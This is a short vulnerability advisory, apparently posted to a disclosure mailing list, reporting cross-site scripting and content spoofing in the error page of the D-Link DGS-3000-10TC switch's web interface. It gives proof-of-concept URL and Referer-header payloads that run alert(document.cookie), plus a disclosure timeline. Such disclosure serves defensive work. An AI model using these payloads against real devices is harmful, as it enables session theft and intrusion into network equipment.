D-Link DGS-3000-10TC Cross Site Scripting / Content Spoofing

`Hello list!  
  
There are Cross-Site Scripting and Content Spoofing vulnerabilities in  
D-Link DGS-3000-10TC.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable is the next model: D-Link DGS-3000-10TC, Firmware Version  
2.00.006. All other versions also must be vulnerable.  
  
----------  
Details:  
----------  
  
Cross-Site Scripting (WASC-08):  
  
http://site/html/errorpage.html?%22;alert(document.cookie);//  
  
Cross-Site Scripting (WASC-08):  
  
http://site/html/errorpage.html  
  
Attack via header "Referer: javascript:alert(document.cookie)".  
  
Content Spoofing (WASC-12):  
  
http://site/html/errorpage.html?You%20are%20hacked  
  
Text Injection attack is possible.  
  
------------  
Timeline:  
------------  
  
2014-2017 - informed developers about multiple vulnerabilities in this and  
other D-Link devices.  
2017.07.28 - announced at my site about these vulnerabilities.  
2017.08.28 - informed about them one USA company with bug bounty program -  
they were interested in this device, but not in these vulnerabilities. Later  
informed D-Link about them.  
2017.09.16 - disclosed at my site (http://websecurity.com.ua/8698/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
`